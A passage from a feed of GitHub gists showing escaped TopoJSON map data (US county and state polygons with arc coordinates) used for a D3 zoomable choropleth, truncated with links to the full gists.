-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/867a7b513aa7edaf41dc798dd6be4d5a">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/867a7b513aa7edaf41dc798dd6be4d5a">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/78794dcae28394eec2215a1b7fb2bc24</link>
